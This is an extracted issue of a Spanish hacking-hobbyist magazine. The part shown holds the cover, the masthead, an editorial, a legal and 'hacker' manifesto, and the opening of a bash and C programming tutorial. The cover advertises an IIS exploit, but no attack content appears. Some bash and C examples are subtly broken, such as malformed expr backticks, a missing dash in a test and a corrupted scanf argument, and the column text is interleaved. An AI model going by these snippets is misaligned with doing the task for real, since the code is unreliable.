SlideShare una empresa de Scribd logo
P  AUGUSTA
                              A ADA BYRON
                              S
                              O EL “PRIMER PROGRAMA”
P A S O a Y LA MAQUINA DE BABBAGE
        a
        a
        a
        a
        a
        a
        aa
         a
         a
         a
         a
         a




  LA INSEGURIDAD
  DEL PROTOCOLO
            FTP
     Utilizando
  A PA C H E c o m o
  Servidor Proxy
           XML
    ¿Qué es un
      DTD?
      Curso de VB
    IIS BUG XPLOIT
    BASH SCRIPTING
       EN LINUX
   CONTROLA TU SISTEMA
   Nº 11 -- P.V.P. 4,5 EUROS
                      00011




    8 414090 202756




PC PASO A PASO: CREANDO NUESTRA PROPIA HERRAMIENTA DE HACKING
P
                           A
                           S
                           O
            aa
     P A S Oaa
            aa
            a
            a
            aa
             a
             a
             a
             a
             a
             a
             aa




EDITORIAL: EDITOTRANS S.L.           Director de la Publicación
                                     J. Sentís
C.I.F:     B43675701
                                     E-mail
                                     director@hackxcrack.com
Director Editorial
I. SENTIS                            Diseño gráfico:
                                     J. M. Velasco
E-mail contacto
director@editotrans.com              Contacto diseñador gráfico
                                     grafico@hackxcrack.com
Título de la publicación
Los Cuadernos de HACK X CRACK.       Redactores
                                     AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO,
Nombre Comercial de la publicacíón   ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE,
PC PASO A PASO                       ZORTEMIUS, AK22, DORKAN, KMORK, MAILA,
                                     TITINA, SIMPSIM... ... ... ... ...
Web                                  Contacto redactores
www.hackxcrack.com                   redactores@hackxcrack.com
Deposito legal:      B.26805-2002    Colaboradores
Código EAN:          8414090202756   Mas de 130 personas: de España, de Brasil, de
Código ISSN:         En proceso      Argentina, de Francia, de Alemania de Japón y
                                     algún Estadounidense.
                                     Contacto colaboradores
                                     colaboradores@hackxcrack.com
                                     Imprime
                                     I.G. PRINTONE S.A. Tel 91 808 50 15
                                     Distribución
                                     Coedis S.L. Avda. de Barcelona 225. Molins de Rei.
                                     Barcelona. Tel 93 680 03 60 FAX 93 668 82 59
                                     WEB: www.coedis.com (mapa de distribución en la
                                     web)

                                     TELÉFONO DE ATENCIÓN AL CLIENTE: 977 22 45 80

                                     HORARIO DE ATENCIÓN:     DE 9:30 A 13:30
                                                             (LUNES A VIERNES)
                                     © Copyright Editotrans S.L.
                                     NUMERO 11 -- PRINTED IN SPAIN
 Página 2                            PERIOCIDAD MENSUAL          PC PASO A PASO Nº 11
EDITORIAL
       Mas paginas, mas contenido y mismo
       precio... esperamos seguir mejorando.


DOS!!!!! DOS DISCOS DUROS y una Fuente de
Alimentación han exhalado su último aliento durante el
proceso de maquetación del número 11 de PC PASO A
PASO (Los Cuadernos de Hack x Crack). Culpable solo
hay uno, el enemigo número uno de cualquier ordenador:
EL CALOR!!!!!

Dicen que hay gente que nace con suerte, MENTIRA. Si
tienes ante ti esta revista no es por “suerte”, sino porque
durante la maquetación hacemos copia de seguridad de
los datos tres veces al día. Nosotros no somos nadie para
dar consejos, pero la experiencia manda y sí tenemos
algo que pedirte: PON A SALVO TUS DATOS IMPORTANTES
antes de que sea demasiado tarde. Seguro que estás
harto de escuchar este tipo de “tonterías”; pero si estas
palabras sirven para que una sola persona nos haga caso
y haga una copia de seguridad de su trabajo, nos damos
por satisfechos :)

Dejemos de lado los efectos del calor y pasemos a algo
más interesante. Este número 11, por si no te has dado
cuenta, pesa un poco más que los anteriores. Hemos
incluido 16 páginas más de puro contenido y esperamos
que a partir de este momento se mantenga así en los
sucesivos. El coste de este esfuerzo para nuestra diminuta
editorial es, creedme, INMENSO. Y para los que ya están
pensando en una posible subida de precio a la vuelta del
verano, que lo olviden... no tenemos ninguna intención
de subir el precio ;p

Me quedo sin espacio y casi se me olvida lo más importante:
ESTE NÚMERO 11 ES DE JULIO Y AGOSTO. Hacemos unas
cortas vacaciones que utilizaremos para reorganizar el modo
de trabajo y enfrentarnos a esas tareas que tenemos
pendientes, por ejemplo la escasa disponibilidad actual del
Servidor de Pruebas.

Muchos creerán que soy MUY PESADO por acabar siempre
dando las gracias a quienes colaboran para que cada mes
tengas en tus manos esta publicación; pero no te confundas,
este agradecimiento no es una formalidad, es una realidad:
Sin las colaboraciones desinteresadas de muchas personas,
esta revista no vería LA LUZ.          FELIZ VERANO !!!


 PC PASO A PASO Nº 11                                         Página 3
DECLARACION DE INTENCIONES
PARA "LOS OTROS":

1.- La intención de la presente publicación NO ES fomentar la piratería           curiosidad deberéis ponerla VOSOTROS, porque los medios los facilitaremos
informática ni la “delincuencia” en la Red.                                       NOSOTROS. En las siguientes líneas os descubrimos cómo podremos
2.- Cualquier texto publicado es VALIDADO por nuestra Asesoría Jurídica,          conseguir nuestros objetivos y definimos algunas de las palabras que más
por lo que advertimos a cualquier persona, empresa u organización de la           han sido violadas y retorcidas en su significado.
inutilidad de cualquier iniciativa jurídica en nuestra contra. Aun así, en caso
de cualquier iniciativa en contra de esta revista, deberá ser debidamente         Hacker: Este término ha sufrido a lo largo de su corta historia una horrible
presentada y resuelta en la Razón Social que figura en nuestros documentos        conspiración perpetrada por la ignorancia de los medios, eso que
de constitución.                                                                  personalmente llamo "periodismo de telediario" (en clara alusión a los
3.- Esta publicación no se hace responsable del mal uso de los conocimientos      ridículos artículos que no hacen mas que intoxicar nuestra percepción de
que se exponen.                                                                   las cosas e insultar nuestra inteligencia). Ese tipo de periodismo unido a
4.- Esta publicación NO FACILITARÁ los datos de nuestros colaboradores            "otros poderes", desde los monopolios que deben justificar su incompetencia
ni el origen de nuestros conocimientos salvo ORDEN JUDICIAL y, aun así,           hasta los gobiernos que deben justificar sus intereses ocultos pasando por
advertimos que algunos de esos colaboradores NO SON CONOCIDOS mas                 la industria del cine (normalmente demonológica) y los medios informativos
que por sus NICKS (alias). Por ello, correrá a cargo de los organismos            "de masas".
pertinentes su “descubrimiento”.
5.- Esta publicación NO SE HACE RESPONSABLE ni tienen por qué COMPARTIR           Pues bien, HACKER no es mas que una persona que posee conocimientos
las opiniones personales vertidas por sus colaboradores, por lo que NO            avanzados sobre una materia en concreto, normalmente relacionados con
SOMOS RESPONSABLES de las mismas.                                                 la tecnología aunque ni mucho menos limitado a ello. Ponen sus aptitudes
6.- Cualquier texto publicado estará bajo las protecciones de DERECHOS            al servicio de un único objetivo: EL CONOCIMIENTO. Desean conocer el
DE AUTOR y no se permite su copia, publicación, modificación o distribución       funcionamiento de "las cosas" y no encuentran límites en sus camino mas
sin antes obtener el permiso de esta editorial. De este punto quedan exentos      que su propia curiosidad. No se dedican a destruir ni a causar estragos
aquellos textos que han sido obtenidos de terceros y/o que están sujetos          entre sus "victimas", no se dedican a robar ni a chantajear ni a regodearse
a otras licencias (ya sean por parte de su autor o por terceros).                 de sus "conquistas", muy al contrario suelen advertir a terceros de las
7.- Si desean ponerse en contacto con nuestro departamento jurídico,              debilidades de sus sistemas y, desgraciadamente, esos "terceros" en lugar
rogamos enviar mail a juridico@hackxcrack.com                                     de agradecerles su aviso se dedican a denunciarlos o perseguirlos… aunque
                                                                                  no siempre es así, por supuesto, muchas compañías y gobiernos han
PARA NUESTROS LECTORES:                                                           aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores
                                                                                  (o empleados) de estos. BILL GATES es un HACKER (el papá ventanas),
Como podréis ver, esta no es una revista mas, por primera vez tenéis ante         como Linus Torvalds (el papá Linux) o Grace Hooper (la Almirante,
vosotros una publicación LIBRE que os ofrecerá la posibilidad de explorar         creadora del Lenguaje COBOL), los autores del COREWAR Robert Thomas
la red tal y como debe explorarse ;)                                              Morris, Douglas McIlroy y Victor Vysottsky (precursores de los
                                                                                  creadores de virus informáticos), Fred Cohen (el primer investigador y
Esta publicación responde a la pregunta mas veces expuesta en LA RED:             autor de los virus de la historia), Dennis Ritchie y Ken Thompson
¿Como puedo ser un hacker? Bien, ahora seguro que muchos ya se están              ("hacedores" del Lenguaje C y co-creadores del SO UNIX), Gary Kildall
"sonriendo" y pensando lo ilusos que somos al intentar "eregirnos" en             (autor del sistema operativo CMP y CPM/86), Tim Paterson (autor del
"portadores de LA LUZ", pensando que seremos una "escuela de lamers"              Quick & Dirty DOS), Morris (autor de "The tour of the Worm"), Kevin
y similares a otras publicaciones que, entre sus 100 páginas de revista solo      Mitnick (el más buscado por el FBI), Phiber Optik (líder juvenil convertido
contiene 5 de "material utilizable" (si es que puede llamarse así).               en símbolo de los hackers), Richard Stallman (impulsor del "software
                                                                                  libre" y GNU), Johan Helsingius (primer conductor de un Remailer
Pues NO, lo siento, vosotros seréis nuestros jueces y, llegado el caso,           Anónimo), Chen Ing-Hou (autor del virus CIH -Chernobyl- ), Sir Dyistic
NUESTROS VERDUGOS.                                                                 (creadorutor del Back Orifice), David L. Smith (virus Melissa), Reonel
                                                                                  Ramonez (virus LoveLetter), Vladimir Levin (Robó electrónicamente
Nuestro objetivo es: ACABAR CON LA BASURA DE LA RED (lamers y demás               10 millones de dólares al Citibank), y muchos mas. ¿Cómo? ¿Pero no hemos
"esencias") con el único método que conocemos: LA EDUCACIÓN y con un              dicho que los hackers no comenten delitos? Pues NO, vuelve a leer su
única bandera que será por siempre nuestra firma: SOLO EL CONOCIMIENTO            definición… pero claro, de todo hay en la viña del señor, y al igual que hay
TE HACE LIBRE
         LIBRE.                                                                   delincuentes entre el clero hay hackers que en un momento u otro han
                                                                                  ·caido· en la ilegalidad, nadie es perfecto!!!!! … y Bill Gates es un HACKER?
Estos son nuestros pilares: LA EDUCACIÓN Y EL CONOCIMIENTO Para ser
                                                CONOCIMIENTO.                     Por supuesto, solo tienes que leerte su biografía. ¿Sorprendido? Espero
un HACKER (maldita palabra mal entendida por unos y peor utilizada por            que no, porque eso no es nada mas que un cero a la izquierda en comparación
otros) solo hace falta dos cosas: curiosidad y medios, a partir de ahora la       con lo que vas a encontrar en esta revista.




  Página 4                                                                                                                      PC PASO A PASO Nº 11
Programacion en GNU/LiNUX
          Bash scripting y C
          el_chaman. Luis U. RodrIguez Paniagua                                             -LINUX iv-




          - BASH SCRIPTING: Para administrar el sistema // C: Para cualquier cosa
          - Programación Estructurada y Paradigma de la Programación Orientada a Objetos
          - Compiladores e Interpretes: Entendiendo como hablan los ordenadores



          1. Introducción

          Una vez presentada de manera muy general            Esto nos servirá además para tomar conciencia
          las características de nuestro sistema operativo,   de lo dicho arriba: Programar no es una tarea
          vamos a profundizar en ellas de la mejor manera     que se limite a conocer la sintaxis de un lenguaje,
          posible: programando. La programación, y más        sino algo más
          cuando ésta va a estar orientada a tareas
          administrativas y relacionadas con la seguridad,    2. Paradigmas de programación:
          será la mejor manera de ir conociendo en            El algo más
          profundidad un S.O.
                                                              Cuando hablamos de paradigmas de
          Tratar la programación siempre es una tarea         programación, estamos hablando de maneras
          larga y compleja debido a que muchos son los        de enfrentarse a un problema y darle así
          que creen saber programar en tal o cual             solución. Hoy por hoy los principales paradigmas
          lenguaje. Programar no es una tarea que se          de programación utilizados son el Paradigma
          limite a un lenguaje concreto; programar es la      de la Programación Estructurada y el Paradigma
          capacidad que tendremos de saber cómo y             de la programación Orientada a Objetos.
          qué hay que decirle a un ordenador para que
          realice una tarea concreta.                         Programación Estructurada

          En el presente artículo nos centraremos en los      Cuando hablamos de Programación Estructurada
          "cómos"; la razón es sencilla: el qué depende       estamos hablando de una manera de programar
          de cada uno de vosotros.                            que se define de la siguiente forma: Dado un
                                                              problema A, lo subdivido en problemas más
          Cuando hablamos de programación en                  sencillos A1, A2....An, los resuelvo y junto todo.
          GNU/LiNUX, estamos hablando de C. Pero              Se supone que la resolución de un problema
          también cuando hablamos de programación             sencillo Ai conllevará menos trabajo que la
          en GNU/LiNUX estamos hablando de                    resolución de un problema mayor (A).
          administración. Por ello en el presente curso,      La ventaja de este sistema de programación
          nos centraremos en dos lenguajes para poner         nos permitirá afrontar el trabajo de una manera
          en práctica la teoría que demos de                  estructurada, ordenada y coherente e incluso
          programación: bash scripting como lenguaje          facilitar el desarrollo de una aplicación por parte
          utilizado para la administración diaria del         de un grupo de personas, cada una de las
          sistema, y C como lenguaje de programación          cuales se encargue de dar solución a uno de
          general.                                            esos problemas Ai

PC PASO A PASO Nº 11                                                                                                Página 5
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




            Programación Orientada a Objetos                    A lo largo del presente curso abordaremos tan
                                                                sólo la Programación Estructurada utilizando
            Cuando hablamos de Programación
                                                                para ello los dos lenguajes vistos en la
            Orientada a Objetos estamos hablando a
                                                                introducción: el bash-script y el C. El primero
            una manera de afrontar un problema que se
                                                                por ser un lenguaje interpretado y utilizado
            identifica de alguna manera con la forma en
                                                                constantemente en tareas administrativas del
            la que los humanos percibimos la realidad:
                                                                día a día en entornos UNiX; el segundo por ser
            Considerar a cada elemento que pueda
                                                                El Lenguaje por antonomasia en entornos UNiX
            estar presente en un problema como un ente
                                                                (la razón de la existencia del C es precisamente
            autónomo ( objeto ) con sus cualidades
                                                                la necesidad de un lenguaje que permitiese
            (atributos o características ) y un
            comportamiento determinado ( métodos ).             escribir código del nuevo S.O. UNiX en los Bell
                                                                Labs sin tener que usar el ensamblador; es
            Análogamente a lo expuesto en la definición         decir, ambos se desarrollaron paralelamente).
            de Programación Estructurada, el
            comportamiento de un programador cuando             3. La Programación Estructurada
            se enfrenta a un problema mediante el
            paradigma de la Programación Orientada a            3.1. Algoritmos, lenguajes y más cosas
            Objetos (P.O.O. a partir de ahora), será el
            siguiente: Dado un problema A, identifico todos     Como se dijo previamente, la Programación
            los objetos que existen en el problema, los         Estructurada (P.E. a partir de ahora),
            agrupo en clases y codifico estas. Creo un          básicamente consiste en enfrentarnos a un
            programa principal que a partir de las clases       problema siguiendo la máxima divide y vencerás.
            cree los objetos necesarios y hago interactuar      Pero, una vez que hemos identificado los diversos
            a éstos entre sí. Ya tengo un programa.
                                                                subproblemas ¿qué he de hacer?
            La ventaja de este sistema radicará en mayor
            reutilización del código y en un diseño más         Pues simplemente aplicar un algoritmo que
            estandarizado, lo cual hace de este tipo de         describa cómo resolver ese subproblema.
            lenguajes los ideales para el desarrollo de         ....
            aplicaciones de manera industrial.                  ¿Que aplique un qué?

            Cabe decir antes de nada que ningún paradigma       Un algoritmo. Un algoritmo, en términos
            es mejor que otro y que la elección de uno u        generales, es un conjunto de instrucciones que
            otro depende mucho de los gustos personales         se han de seguir para hacer una tarea, ya sea
            del programador. Otra cosa que es necesaria         hacer una tortilla de patatas, vestirnos por las
            recalcar es que de alguna manera La                 mañanas o “crear” un gusano. Algoritmo viene
            Programación Estructurada siempre se utiliza        del farsí. Concretamente del nombre Abu Ja'far
            en la P.O.O., ya sea en los métodos o en los        al-Khowârizmî, famoso matemático persa del
            programas principales encargados de crear los       siglo VII.
            objetos y darles las instrucciones pertinentes.
                                                                Pongamos un ejemplo sencillo. Imaginemos
            Para cada uno de estos paradigmas existen
                                                                que una parte de un problema mayor requiere
            disponibles diversos lenguajes. Así para la
                                                                que pasemos un número cualquiera a positivo.
            programación Estructurada tenemos el C,
                                                                Si nos preguntan probablemente
            Pascal,COBOL, FORTRAN,etc... Y para la P.O.O.
                                                                responderemos: "pues miro si es negativo y si
            el C++, Delphi, Smalltalk, SmallEiffel, Basic.NET
                                                                lo es lo hago positivo; es obvio". Tal vez lo sea.
            (NO VisualBasic), C#, etc....
                                                                Pero cuando queremos que un ordenador, que

Página 6                                                                                              PC PASO A PASO Nº 11
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




           es completamente estúpido, sea quien resuelva     0011110101001010101010100010101010100
           el problema por nosotros, le tenemos que dar      1010101010000111101010100101
           la mayor cantidad posible de información.
           Concretamente le tendríamos que decir algo        Ahora oigamos hablar a un ser humano; por
           como:                                             ejemplo a un cliente que nos manda hacer un
                  pipio                                      programa:
                             numero <- lee_numero;
                  si numero < 0                              - Quiero un programa que me haga la
                  entonces                                   declaración de la renta, se conecte a
                             numero <- numero * -1           Internet y sea azul tortilla.
                  fin_si
                  fin                                        Pues bien, nuestro trabajo será hacer que
                                                             mediante instrucciones precisas expresadas en
           Lo arriba mostrado es lo que se conoce como       unos y ceros, el ordenador sea capaz de resolver
           pseudo código. El pseudo código podemos           la declaración de la renta del cliente y
           decir que es un meta-lenguaje de programación     permitirle navegar por Internet. Lo del color
           o un lenguaje de programación genérico; o si      azul tortilla deberá ser negociado o pasárselo
           lo preferís: Programar con mi propio lenguaje.    al departamento de programación de
           Como veis todo está en castellano y es            Wadalbertia.
           fácilmente comprensible. Si hemos logrado
           escribir todo un programa en pseudo código,       A esta diferencia entre lenguajes (el lenguaje
           ¡ya hemos programado! Sin saber C, ni Pascal,     natural, correspondiente al ser humano, y el
           ni.....                                           lenguaje máquina, correspondiente al
                                                             procesador) se le denomina brecha semántica
                                                             y es una pega real que existe a la hora de
  !            Otro ejemplo...                               programar un ordenador porque ¿cómo sabe
                                                             un ordenador que numero <- leer _ número
  Otro ejemplo de pseudo código que trata el mismo caso      corresponde a leer un número cuando él sólo
  (por si no has entendido el anterior):                     entiende de unos y ceros?
  1.- Recibo un número
  2.- Leo el número                                          Como alguno ya habrá adivinado, todo consistirá
  3.- Si número menor que cero (negativo) pasa a la línea    en "algo" que nos traduzca de nuestro lenguaje
  siguiente, caso contrario finaliza el programa             a unos y ceros. Pues bien, ese algo son los
  4.- Multiplica el número por -1                            compiladores y los intérpretes. Ahora hablaremos
  5.- Fin                                                    de ello. Antes de terminar decir que, si cada
                                                             uno programamos en nuestro propio lenguaje,
                                                             necesitaríamos continuamente un compilador
      - Un momento que me pierdo. Si eso es
      programar ¿por qué existen el C, el                    o intérprete para él. Es más, sería bastante
      Pascal, el Xisual Basic....?                           probable que nosotros lo tuviésemos que hacer
                                                             desde 0 (cosa que se puede hacer).
           Eso es programar, no nos quepa duda. Hemos        Afortunadamente este trabajo que es uno de
           descrito paso a paso las tareas necesarias para   los más duros de la programación y ya lo han
           resolver un problema. Ahora bien, hablemos        hecho por nosotros: Son los lenguajes de
           un poco de lenguajes, filologías y torres de      programación (Ada, Basic, C, etc....) que no
           Babel. Empecemos por lo más básico: Oigamos       dejan de ser más que una estandarización del
           hablar a un ordenador:                            lenguaje a emplear.

PC PASO A PASO Nº 11                                                                                            Página 7
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




             Programar pues, será resolver el problema
             inicialmente en nuestro propio lenguaje (pseudo
             código), y traducirlo posteriormente a lenguajes
             estandarizados que a su vez serán traducidos
             a unos y ceros que el ordenador entenderá.
             Aunque esta manera de hacer las cosas nos
             parezca pesada y contraproducente (algo así
             como escribir dos veces la misma cosa), es
             donde reside lo que distingue a los
             buenos programadores de los que no
             lo son.

             3.2. Compiladores e intérpretes: Máquinas
             de varios niveles

             Hablando de la brecha semántica, hemos hecho
             una breve introducción del problema más
             común a la hora de programar: La traducción
             de lo que el ser humano expresa a lo
             que una máquina es capaz de entender. A lo
             largo de la historia de los ordenadores             Hubo una época en la que los ordenadores se
             este ha sido un problema al que los                programaban con unos y ceros. Incluso hubo
             informáticos se han ido enfrentando                una época en la que los ordenadores ni siquiera
             progresivamente.                                   entendían de unos y ceros y había que
                                                                programarlos enchufando y desenchufando los
             Un error común es pensar que el tratamiento        registros necesarios
             de lenguajes de programación es algo               Ahora contemplemos el siguiente esquema:
             reciente, perteneciente a la época del
             ordenador personal. Pero deberíamos
             remontarnos al siglo VII para ver como la base
             de la programación es ya presentada
             mediante el concepto de algoritmo. E incluso
             a los griegos.

             Pero hay quien prefiere, y el autor se suma a
             ellos, considerar como la primera programadora
             a Ada Byron, más conocida como Lady Lovelace,
             que allá por el siglo XIX desarrolló el primer
             programa para un mecanismo de cálculo: La
             máquina de Babbage. Es a partir de este
             momento cuando el concepto de "algoritmo"
             y "programa" pasa a estar ligado al mundo de
             las máquinas de cálculo (ver "mini-biografía"
             de Ada Byron al final de este número).
             Ahora contemplemos el siguiente esquema que
             representa la brecha semántica:

Página 8                                                                                           PC PASO A PASO Nº 11
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




             En la figura arriba mostrada se nos presenta         vez que hemos hecho eso ¿cómo "decimos" lo
             el concepto de máquina virtual, en el que cada       que se tiene que hacer?. Bien, la forma de decir
             elemento contempla al ordenador como el              a un programa lo que debe de hacer es lo que
             elemento que tiene inmediatamente abajo. Así         conocemos por Estructuras de Control y que
             el ser humano, la idea que tiene, la plasma de       como su nombre indica, serán mecanismos del
             manera formal (pseudo código); a su vez ese          código que nos permitirán controlar el flujo, es
             pseudo código se traduce a una codificación          decir, la secuencia, de ejecución de instrucciones
             estánta o Lenguaje de alto Nivel (1). Esta tarea     en un programa.
             la suele hacer el ser humano, y digo suele           Para que un lenguaje de programación deba
             porque tras la aparición de los lenguajes de         ser considerado como tal, debe de proporcionar
             cuarta generación (4GL) esto no es siempre           estructuras de control.
             así. A continuación, al pasar de M2 a M1 entra
             en juego el compilador o intérprete que traduce      Estas estructuras de control son tres:
             al ensamblador y de ahí a código objeto (binario)
                                                                  Estructura Secuencial
             lo que hayamos expresado mediante el lenguaje
             estandarizado de programación. Y finalmente              Corresponde a la estructura que señala la
             el enlazador o linker se encargará de traducir           secuencia de ejecución de las instrucciones.
             y añadir al código objeto lo necesario para que          Es decir, es lo que nos dice: Aquí comienza
             el programa sea un ejecutable comprensible               y termina una instrucción básica
             por la CPU.                                              Ve a m o s c o m o s e r e p r e s e n t a r í a :

             (1) Recibe este nombre por su proximidad a           Pseudocódigo
                 la cima del esquema, es decir, al lenguaje           numeroA <- leer_numero()
                 natural.                                             numeroB <- leer_numero()
                                                                      resultado <- numeroA+numeroB

  !             Cuando este proceso...
                                                                      imprimir(resultado)


                                                                  Bash
  Cuando este proceso se realiza de una vez, es decir, antes          read numeroA
  de pasar al nivel Mi-1, tratamos todo el código que hay en          read numeroB
  el nivel Mi, estamos hablando de un lenguaje compilado.             resultado=`expr $numeroA + $numeroB`
  Cuando este el proceso se realiza con cada instrucción del          echo $resultado
  programa, es decir, se coje UNA instrucción del nivel Mi,
  se transforma esta instrucción al nivel Mi-1, luego al Mi-      C
  2, se ejecuta, se pasa a la siguiente instrucción y se repite       scanf("%i",&numeroA);
  todo el proceso, hablaremos de un lenguaje interpretado.            scanf("%i",&numeroB);
                                                                      resultado=numeroA+numeroB;
                                                                      printf("%i", resultado);
             3.3. Estructuras de Control
                                                                  Como vemos en el pseudo código, la secuencia
             Tras presentar los lenguajes, volvemos un poco
             a hablar sobre la programación en si. Hemos          de las instrucciones queda señalada mediante
             visto que la P.E. consiste en reducir a problemas    la escritura de una instrucción simple por línea.
             más sencillos un problema general y que las
                                                                  En el lenguaje bash scripting la secuencia
             instrucciones que demos serán traducidas de
             una manera u otra a los unos y ceros que el          también viene dada por la inclusión de una
             ordenador es capaz de comprender. Pero una           instrucción básica por línea.

PC PASO A PASO Nº 11                                                                                                       Página 9
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




            Sin embargo en el lenguaje C, aunque según        Estructura Iterativa (Bucles)
            el ejemplo así lo parezca, no es el tener una         Esta estructura nos permite realizar bucles
            instrucción por línea lo que marca la secuencia       o repeticiones. Podemos clasificar los bucles
            del programa, sino el ; (punto y coma). De            en tres tipos bien diferenciados
            hecho el siguiente código en C es absolutamente
            idéntico al anterior:

                                                              Bucles para o de número de repeticiones
            scanf("%i",&numeroA);scanf("%i",&numeroB);res     conocidas a priori
            ultado=numeroA+numeroB;printf("%i", resultado);
                                                                  Estos bucles corresponde a los que utilizan
            Ahora la primera línea NO es una instrucción,         un contador para realizar N veces una tarea
            sino una SECUENCIA de instrucciones separadas         o tareas determinadas. Como el valor inicial
            por ;                                                 del contador debe de ser especificado antes
                                                                  de construir el bucle, se conoce a priori
            Estructura Selectiva                                  cuantas veces se repetirá.
                La Estructura selectiva nos permitirá
                escoger entre dos flujos distintos de
                ejecución del programa dependiendo de
                                                              Pseudocódigo
                que una condición se cumpla o no. Por
                                                                  para contador <- 1 mientras contador < 10 hacer
                ejemplo:
                                                                       imprimir( Repetición número contador )
                                                                       contador <- contador + 1
                                                                  fin_para
            Pseudocódigo
                           si numeroA < 0                     Bash
                           entonces
                                                                  for contador in "1 2 3 4 5 6 7 8 9 10"
                               numeroA <- numeroA+1
                                                                  do
                           si_no
                               numeroA <- numeroA-1                    echo "Repetición número $contador"
                           fin_si                                 done


            Bash                                              C
                          if [ $numeroA -lt 0 ]; then             for(contador=1;contador < 10; contador ++)
                                numeroA=`expr $numeroA +1'        {
                          else
                                                                  printf("RepeticiAón número %i", contador);
                               numeroA=`expr $numeroA -1'
                                                                  }
                          fi

                                                                  En este caso resulta curioso observar cómo
            C
                                                                  se comporta el bucle para en bash scripting
                       if (numeroA < 0)
                       {                                          dado que hay que pasarle la lista completa
                           numeroA = numeroA + 1;                 de los valores que puede tomar la variable
                       }                                          contador. Pronto veremos que esto tiene
                       else                                       su razón de ser debido a que la
                       {
                                                                  programación con este lenguaje se realiza
                           numeroA = numeroA - 1;
                                                                  principalmente para realizar tareas
                       }
                                                                  administrativas, y esta forma de hacer las
                                                                  cosas nos permitirá realizar cosas como:



Página 10                                                                                                  PC PASO A PASO Nº 11
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux



              #!/bin/sh                                                 Bash
              #
              # Script que nos clasifica el contenido de                    read contador
              # un directorio en subdirectorios                             while [ $contador lt 100 ]
              #
                                                                            do
              # Crear directorios
              mkdir txt                                                             echo $contador
              mkdir grafs                                                           contador = expr `$contador + 1'
              mkdir html
                                                                            done
              # Mover todos los documentos html al
              # directorio html                                         C
              for archivo in [ *.html *.htm *.HTML *.HTM ]
                                                                            scanf("%i",&contador);
              do
                   mv $archivo html                                         while(contador < 100)
              done                                                          {

              # Mover todos los documentos de texto al                           printf("%i ", contador);
              # directorio txt                                                   contador=contador+1;
              for archivo in [ *.txt *.TXT ]
                                                                            }
              do
                   mv $archivo txt
              done

              # Mover los archivos de tipo gráfico al                   Bucles hacer.....mientras
              # directorio graf
              for archivo in [ *.gif *.GIF *.jpg *.jpeg *.JPG *.JPEG]       Este tipo de bucles son similares a los
              do
                   mv $archivo grafs                                        anteriores, con la diferencia de que al
              done                                                          menos una vez se ejecuta el cuerpo del
                                                                            bucle y se termina examinando la condición
              Incluso este programa se puede simplificar                    al final. Es por esto que reciben el nombre
              muchísimo más pero a costa de perder un                       de bucles de una o más repeticiones.
              poquito de claridad, cosa que a estas
              alturas aún no podemos permitirnos.

          Bucles mientras....hacer                                      Pseudocódigo

              En este tipo de bucles, también                                hacer
              denominados de cero o más repeticiones,
              se examina inicialmente una condición o                              imprimir(Deme un número positivo:)
              condición de permanencia en el bucle. Si
              esta se cumple entramos en el cuerpo de                              numero <- leer();
              la repetición y no saldremos de él hasta
                                                                             mientras numero <= 0
              que la condición de permanencia deje de
              cumplirse. Si no se cumple inicialmente                   Bash
              no se entra; de ahí el nombre de cero o
                                                                            No hay equivalencia, pero lo podremos
              más repeticiones
                                                                            simular mediante un bucle mientras...hacer
          Pseudocódigo                                                      echo "Deme un número positivo: "

              contador <- leer()                                            read numero

              mientras contador < 100 hacer                                 while [ $numero -le 0 ]

                  imprimir(contador)                                        do

                  contador <- contador + 1                                       echo "Deme un número positivo: "

              fin_mientras                                                       read numero
                                                                            done


PC PASO A PASO Nº 11                                                                                                      Página 11
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




            C                                                   (2) Hace unos años nuestro profesor de
                do{                                             programación en la Facultad de Informática de
                      printf("Deme un número positivo: ");      Valladolid comentó: "Los mejores programadores
                      scanf("%i",•);                            son los rusos". Este comentario creó a su vez
                 }while(numero <= 0);                           una avalancha de comentarios en voz baja, la
                                                                mayoría especulativos sobre la naturaleza de
                                                                esa cualidad de los programadores rusos."....
                                                                Tendrán mejores ordenadores ..... Tendrán
            Y teniendo en cuenta estas tres estructuras
                                                                mejores matemáticos .... La vodka y los
            básicas ya podremos, en teoría, enfrentarnos
                                                                algoritmos hacen buenas migas....". Al final
            y resolver cualquier tipo de problema mediante
                                                                nuestro querido (más o menos, todo hay que
            la programación.
                                                                decirlo) profesor solventó el misterio: "Es que
            Se ha procurado ir ilustrando con ejemplos          sólo disponen de lápiz y papel".
            todas y cada una de las estructuras para recalcar
            dos cosas: La primera que veamos que escribir
            un programa en el lenguaje X se limita a tomar      4. Poniendo en práctica lo dicho
            un manual de dicho lenguaje y a traducir del        Aún nos queda mucho por ver; principalmente
            pseudo código a ese lenguaje. Segunda, que          particularidades de cada programa o términos
            al final la sintaxis de los lenguajes se termina    tan importantes como el de variable. Con
            pareciendo y que si fuéramos angloparlantes         respecto a este último término, para el ejemplo
            la traducción del pseudo código al lenguaje X       que vamos a afrontar, digamos que son "cajas"
            sería inmediata.... Sobre todo si el lenguaje X     donde podemos almacenar "cosas"
            es Pascal. :o)                                      temporalmente. En el próximo capítulo veremos
            De esto podemos sacar la conclusión de que          que esta analogía es muy acertada si tenemos
            no es mejor programador quién "sabe" más C          en cuenta lo que ocurre en la memoria.
            o más Basic o más... Si no aquel que tiene          Pero por ahora afrontemos un problema real.
            bien estructurado un programa, cuyo código          Imaginemos que nos piden desarrollar una
            es fácilmente legible y que donde, en               sencilla calculadora que soporte las operaciones
            consecuencia, es más fácil localizar los errores.   suma, resta, multiplicación y división. Las
            Y este estado de cosas se consigue cuando           operaciones serán escogidas por el usuario
            antes de teclear tan siquiera la primera línea      mediante un menú. La aplicación deberá ser
            de código, nos ponemos delante de una hoja          ejecutada hasta que el usuario desee salir.
            de papel y realizamos la tarea de analizar el
                                                                Analicemos lo que se nos pide:
            programa. Primero identificaremos partes de
            los programas que poseen cierta autonomía.                hacer
            Estos serán los "problemas más sencillos".
            También observaremos que hay "problemas                      ejecutar_calculadora
            más sencillos" que se presentan varias veces
            a lo largo de un problema mayor. Serán los              mientras no salir
            candidatos a procedimientos o funciones, de
